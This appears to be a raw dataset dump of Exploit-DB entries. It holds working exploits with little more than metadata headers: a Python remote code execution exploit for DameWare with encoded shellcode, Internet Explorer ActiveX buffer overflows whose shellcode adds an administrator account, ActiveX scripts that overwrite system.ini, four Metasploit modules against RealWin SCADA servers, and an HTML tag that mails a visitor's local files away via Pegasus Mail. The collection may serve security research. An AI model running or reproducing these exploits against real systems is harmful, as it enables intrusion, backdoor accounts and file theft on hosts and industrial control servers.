deardaniel/secdata-raw huggingface dataset:
Exploit-DB #43059
Description: DameWare Remote Controller < 12.0.0.520 - Remote Code Execution
Type: remote
Platform: windows
Date: 2016-04-03
Author: Securifera

Exploit:
# Exploit Title: Dameware Remote Controller RCE
# Date: 3-04-2016
# Exploit Author: Securifera
# Vendor Homepage: http://www.dameware.com/products/mini-remote-control/product-overview.aspx
# Version: 12.0.0.520
# Website: https://www.securifera.com/blog/2016/04/03/fun-with-remote-controllers-dameware-mini-remote-control-cve-2016-2345/
# CVE : CVE-2016-2345

import socket
import sys
import os
import time
import struct
import binascii
import random

# windows/exec - 220 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=calc.exe
sc = ""
sc += "\xba\x01\xa8\x4f\x9e\xd9\xca\xd9\x74\x24\xf4\x5e\x29"
sc += "\xc9\xb1\x31\x31\x56\x13\x03\x56\x13\x83\xee\xfd\x4a"
sc += "\xba\x62\x15\x08\x45\x9b\xe5\x6d\xcf\x7e\xd4\xad\xab"
sc += "\x0b\x46\x1e\xbf\x5e\x6a\xd5\xed\x4a\xf9\x9b\x39\x7c"
sc += "\x4a\x11\x1c\xb3\x4b\x0a\x5c\xd2\xcf\x51\xb1\x34\xee"
sc += "\x99\xc4\x35\x37\xc7\x25\x67\xe0\x83\x98\x98\x85\xde"
sc += "\x20\x12\xd5\xcf\x20\xc7\xad\xee\x01\x56\xa6\xa8\x81"
sc += "\x58\x6b\xc1\x8b\x42\x68\xec\x42\xf8\x5a\x9a\x54\x28"
sc += "\x93\x63\xfa\x15\x1c\x96\x02\x51\x9a\x49\x71\xab\xd9"
sc += "\xf4\x82\x68\xa0\x22\x06\x6b\x02\xa0\xb0\x57\xb3\x65"
sc += "\x26\x13\xbf\xc2\x2c\x7b\xa3\xd5\xe1\xf7\xdf\x5e\x04"
sc += "\xd8\x56\x24\x23\xfc\x33\xfe\x4a\xa5\x99\x51\x72\xb5"
sc += "\x42\x0d\xd6\xbd\x6e\x5a\x6b\x9c\xe4\x9d\xf9\x9a\x4a"
sc += "\x9d\x01\xa5\xfa\xf6\x30\x2e\x95\x81\xcc\xe5\xd2\x7e"
sc += "\x87\xa4\x72\x17\x4e\x3d\xc7\x7a\x71\xeb\x0b\x83\xf2"
sc += "\x1e\xf3\x70\xea\x6a\xf6\x3d\xac\x87\x8a\x2e\x59\xa8"
sc += "\x39\x4e\x48\xcb\xdc\xdc\x10\x22\x7b\x65\xb2\x3a"

port = 6129

if len (sys.argv) == 2:
 (progname, host ) = sys.argv
else:
 print len (sys.argv)
 print 'Usage: {0} host'.format (sys.argv[0])
 exit (1)

csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

type = 444.0
buf = struct.pack("I", 4400 ) #Init Version
buf += "\xcc"*4
buf += struct.pack("d", type) #Minor Version
buf += struct.pack("d", type) #Minor Version
buf += (40 - len(buf)) * "C"
csock.send(buf)

wstr = "\x90" * 0x10 #nop sled
wstr += sc #calc shellcode
wstr += "\x90" * (0x2ac - 0x10 - len(sc))
wstr += "\xeb\x06\xff\xff" #short jump forward
wstr += struct.pack("I", 0x00401161 ) #pop pop return gadget
wstr += "\x90" * 3 #nop
wstr += "\xe9\x6b\xfa\xff\xff" #short jump back to shellcode
wstr += "E" * 0xbc
wstr += ("%" + "\x00" + "c" + "\x00")*5

buf = struct.pack("I", 0x9c44) #msg type
buf += wstr #payload
buf += "\x00" * (0x200) #null bytes
csock.send(buf)

print binascii.hexlify(csock.recv(0x4000)) #necessary reads
print binascii.hexlify(csock.recv(0x4000))

csock.close()
Exploit-DB #3982
Description: Dart Communications PowerTCP - Service Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-24
Author: rgod

Exploit:
<!--
IE 6 / Dart Communications PowerTCP Service Control (DartService.dll 3.1.3.3)
remote buffer overflow exploit / xp sp2 ita ver
by rgod
site: retrogod.altervista.org

software site: www.dart.com

Install, Uninstall methods are vulnerable
shellcode is executed after the browser window is closed, no crash
more chars cause an heap overflow
Sometimes you will see an about box popping, code is executed aswell
Adjusting to another windows language version is very tricky,
use the same logic
-->
<html>
<object classid='clsid:13F4DEDE-D19F-11D2-BA94[PII_REDACTED]FE' id='Service' ></object>
<script language='vbscript'>

'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add

shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44")

nop   = unescape("%90%90%90%90")
eip   = unescape("%1e%a6%3e%7e") 'call edi user32.dll
patch = unescape("%01%04%04%90")
jmp   = unescape("%e9%27%fe%ff%ff") 'jmp near shellcode

argh = "aaaa" + nop + shellcode + eip + patch + jmp

Service.Uninstall argh

</script>
</html>

# milw0rm.com [2007-05-24]
Exploit-DB #3984
Description: Dart Communications PowerTCP - ZIP Compression Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-05-25
Author: rgod

Exploit:
<!--
IE 6 / Dart Communications PowerTCP ZIP Compression Control (DartZip.dll 1.8.5.3) remote
buffer overflow exploit / xp sp2 it
by rgod
site: retrogod.altervista.org
software site: www.dart.com
-->
<html>
<object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE99D4DD' id='DartZip'></object>
<script language='vbscript'>

'metasploit one, add a user 'sun' with pass 'tzu'
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%54%42%30%42%30%42%30%4b%58%45%44%4e%43%4b%38%4e%57%45%50%4a%37%41%50%4f%4e%4b%48%4f%44%4a%51%4b%48%4f%45%42%42%41%50%4b%4e%49%34%4b%48%46%43%4b%38%41%30%50%4e%41%43%42%4c%49%49%4e%4a%46%58%42%4c%46%57%47%50%41%4c%4c%4c%4d%50%41%30%44%4c%4b%4e%46%4f%4b%33%46%35%46%42%46%50%45%47%45%4e%4b%58%4f%35%46%32%41%30%4b%4e%48%56%4b%48%4e%50%4b%54%4b%38%4f%35%4e%41%41%50%4b%4e%4b%38%4e%51%4b%38%41%30%4b%4e%49%38%4e%45%46%42%46%50%43%4c%41%43%42%4c%46%46%4b%58%42%44%42%33%45%48%42%4c%4a%57%4e%50%4b%38%42%54%4e%30%4b%38%42%37%4e%41%4d%4a%4b%58%4a%36%4a%30%4b%4e%49%50%4b%58%42%38%42%4b%42%50%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%53%48%4f%42%36%48%55%49%48%4a%4f%43%58%42%4c%4b%47%42%45%4a%36%42%4f%4c%58%46%30%4f%45%4a%46%4a%49%50%4f%4c%38%50%30%47%45%4f%4f%47%4e%43%36%4d%56%46%36%50%32%45%46%4a%47%45%56%42%52%4f%52%43%36%42%52%50%46%45%56%46%47%42%52%45%47%43%37%45%56%44%57%42%42%43%57%45%47%50%56%42%52%46%47%4c%37%45%47%42%52%4f%42%41%34%46%34%46%54%42%42%48%42%48%32%42%52%50%46%45%36%46%57%42%52%4e%46%4f%36%43%56%41%46%4e%36%47%56%44%47%4f%36%45%57%42%37%42%52%41%54%46%46%4d%56%49%46%50%56%49%36%43%37%46%47%44%37%41%56%46%47%4f%56%44%37%43%37%42%52%43%57%45%57%50%46%42%42%4f%32%41%34%46%54%46%54%42%50%5a")

EIP = unescape("%67%31%41%7e") 'call esp user32.dll

Source=String(1024, "A") + EIP + String(36, unescape("%90")) + shellcode  + String(24, unescape("%90"))
Destination="default"
IncludeSubs=True
PreservePath=True
[CREDENTIAL_REDACTED]"
Encryption=1

DartZip.QuickZip Source ,Destination ,IncludeSubs ,PreservePath ,Password ,Encryption

</script>
</html>

# milw0rm.com [2007-05-25]
Exploit-DB #5395
Description: Data Dynamics ActiveBar (Actbar3.ocx 3.2) - Multiple Insecure Methods
Type: remote
Platform: windows
Date: 2008-04-07
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">------------------------------------------------------------------------------------
 <b>Data Dynamics ActiveBar ActiveX Control (Actbar3.ocx 3.2) Multiple Inscure Methods</b>
 url: http://www.datadynamics.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>
------------------------------------------------------------------------------------

<object classid='clsid:5407153D-022F-4CD2-8BFF-465569BC5DB8' id='test'></object>

<select style="width: 404px" name="Pucca">
  <option value = "Save">Save</option>
  <option value = "SaveLayoutChanges">SaveLayoutChanges</option>

  <option value = "SaveMenuUsageData">SaveMenuUsageData</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "Save" then
    test.Save "", "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Exploit completed!")
   elseif Pucca.value = "SaveLayoutChanges" then
    test.SaveLayoutChanges "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Exploit completed!")
   elseif Pucca.value = "SaveMenuUsageData" then
    test.SaveMenuUsageData "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Exploit completed!")
   end if

 End Sub
</script></span></span></code></pre>

# milw0rm.com [2008-04-07]
Exploit-DB #4190
Description: Data Dynamics ActiveBar - ActiveX 'actbar3.ocx 3.1' Insecure Methods
Type: remote
Platform: windows
Date: 2007-07-17
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">---------------------------------------------------------------------------------------
 <b>Data Dynamics ActiveBar ActiveX Control (actbar3.ocx <= 3.1) Multiple Inscure Methods</b>
 url: http://www.datadynamics.com/default.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False
 KillBitSet: False</b>
---------------------------------------------------------------------------------------

<object classid='clsid:5407153D-022F-4CD2-8BFF-465569BC5DB8' id='test'></object>

<select style="width: 404px" name="Pucca">
  <option value = "Save">Save</option>
  <option value = "SaveLayoutChanges">SaveLayoutChanges</option>
  <option value = "SaveMenuUsageData">SaveMenuUsageData</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "Save" then
    test.Save "", "c:\carlo1.txt", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
   elseif Pucca.value = "SaveLayoutChanges" then
    test.SaveLayoutChanges "c:\carlo2.txt", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
   elseif Pucca.value = "SaveMenuUsageData" then
    test.SaveMenuUsageData "c:\carlo3.txt", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
   end if

 End Sub
</script>

</span></span>
</code></pre>

# milw0rm.com [2007-07-17]
Exploit-DB #4208
Description: Data Dynamics ActiveReport - ActiveX 'actrpt2.dll 2.5' Insecure Method
Type: remote
Platform: windows
Date: 2007-07-21
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>Data Dynamics ActiveReport ActiveX Control (actrpt2.dll <= 2.5) "SaveLayout()" Inscure Method</b>
 url: http://www.datadynamics.com/default.aspx

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 <b>This control is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 Implements IObjectSafety: False
 KillBitSet: False</b>
-----------------------------------------------------------------------------------------------

<object classid='clsid:9EB8768B-CDFA-44DF-8F3E-857A8405E1DB' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
    test.SaveLayout "c:\windows\system_.ini", 1
    MyMsg = MsgBox("Ok, now check your system.ini file")
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-07-21]
Exploit-DB #16385
Description: DATAC RealWin SCADA Server - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: realwin.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DATAC RealWin SCADA Server Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in DATAC Control
				International RealWin SCADA Server 2.0 (Build 6.0.10.37).
				By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
				an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2008-4322' ],
					[ 'OSVDB', '48606' ],
					[ 'BID', '31418' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Sep 26 2008'))

		register_options([Opt::RPORT(910)], self.class)
	end

	def exploit
		connect

		data =  [0x67542310].pack('V')
		data << [0x00000800].pack('V')
		data << [0x000a77e3].pack('V')
		data << [0x00040005].pack('V')
		data << "\x00\x00"
		data << make_nops(target['Offset'])
		data << [target.ret].pack('V')
		data << [0x00404040].pack('V')
		data << payload.encoded
		data << make_nops(1024)

		print_status("Trying target #{target.name}...")
		sock.get_once
		sock.put(data)

		handler
		disconnect
	end

end
Exploit-DB #16382
Description: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - SCPC_INITIALIZE Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-30
Author: Metasploit

Exploit:
##
# $Id: realwin_scpc_initialize.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in DATAC Control
				International RealWin SCADA Server 2.0 (Build 6.1.8.10).
				By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'Luigi Auriemma', 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11180 $',
			'References'     =>
				[
					[ 'OSVDB', '68812' ],
					[ 'CVE', '2010-4142' ],
					[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Oct 15 2010'))

		register_options([Opt::RPORT(912)], self.class)
	end

	def exploit

		connect

		data =  [0x6a541264].pack('V')
		data << [0x00000002].pack('V')
		data << [0x00001ff4].pack('V')
		data << rand_text_alpha_upper(228)
		data << generate_seh_payload(target.ret)
		data << rand_text_alpha_upper(10024 - payload.encoded.length)
		data << "\x00"	

		print_status("Trying target #{target.name}...")
		sock.put(data)

		handler
		disconnect

	end

end
Exploit-DB #16383
Description: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - SCPC_INITIALIZE_RF Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-30
Author: Metasploit

Exploit:
##
# $Id: realwin_scpc_initialize_rf.rb 11180 2010-11-30 20:19:18Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in DATAC Control
				International RealWin SCADA Server 2.0 (Build 6.1.8.10).
				By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'Luigi Auriemma', 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11180 $',
			'References'     =>
				[
					[ 'OSVDB', '68812' ],
					[ 'CVE', '2010-4142' ],
					[ 'URL', 'http://aluigi.altervista.org/adv/realwin_1-adv.txt' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Universal', { 'Ret' => 0x4002da21 } ], # FlexMLang.DLL 8.1.45.19
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Oct 15 2010'))

		register_options([Opt::RPORT(912)], self.class)
	end

	def exploit

		connect

		data =  [0x6a541264].pack('V')
		data << [0x00000020].pack('V')
		data << [0x00001ff4].pack('V')
		data << rand_text_alpha_upper(228)
		data << generate_seh_payload(target.ret)
		data << rand_text_alpha_upper(10024 - payload.encoded.length)
		data << "\x00"	

		print_status("Trying target #{target.name}...")
		sock.put(data)

		handler
		disconnect

	end

end
Exploit-DB #16384
Description: DATAC RealWin SCADA Server 2.0 (Build 6.1.8.10) - SCPC_TXTEVENT Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-24
Author: Metasploit

Exploit:
##
# $Id: realwin_scpc_txtevent.rb 11125 2010-11-24 13:44:46Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in DATAC Control
				International RealWin SCADA Server 2.0 (Build 6.1.8.10).
				By sending a specially crafted packet,
				an attacker may be able to execute arbitrary code.
			},
			'Author'         => [ 'Luigi Auriemma', 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11125 $',
			'References'     =>
				[
					[ 'CVE', '2010-4142'],
					[ 'OSVDB', '68812'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 550,
					'BadChars' => "\x00\x20\x0a\x0d",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Universal', { 'Pivot' => 0x40017fc2, 'Ret' => 0x4001f6d0 } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Nov 18 2010'))

		register_options([Opt::RPORT(912)], self.class)
	end

	def exploit

		connect

		data =  [0x6a541264].pack('V')
		data << [0x00000010].pack('V')
		data << [0x00001ff4].pack('V')
		data << rand_text_alpha_upper(164)
		data << [target['Pivot']].pack('V')
		data << rand_text_alpha_upper(16)
		data << [target.ret].pack('V')
		data << payload.encoded
		data << rand_text_alpha_upper(10024 - payload.encoded.length)

		print_status("Trying target #{target.name}...")
		sock.put(data)

		handler
		disconnect

	end

end
Exploit-DB #20249
Description: David Harris Pegasus Mail 3.12 - File Forwarding
Type: remote
Platform: windows
Date: 2000-10-03
Author: Imran Ghory

Exploit:
source: https://www.securityfocus.com/bid/1738/info

It is possible for a malicious website operator to obtain copies of known files on a remote system if a website visitor is running Pegasus Mail client.

If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning:

<img sr c="mailto:email@address.com -F c:\path\file.ext">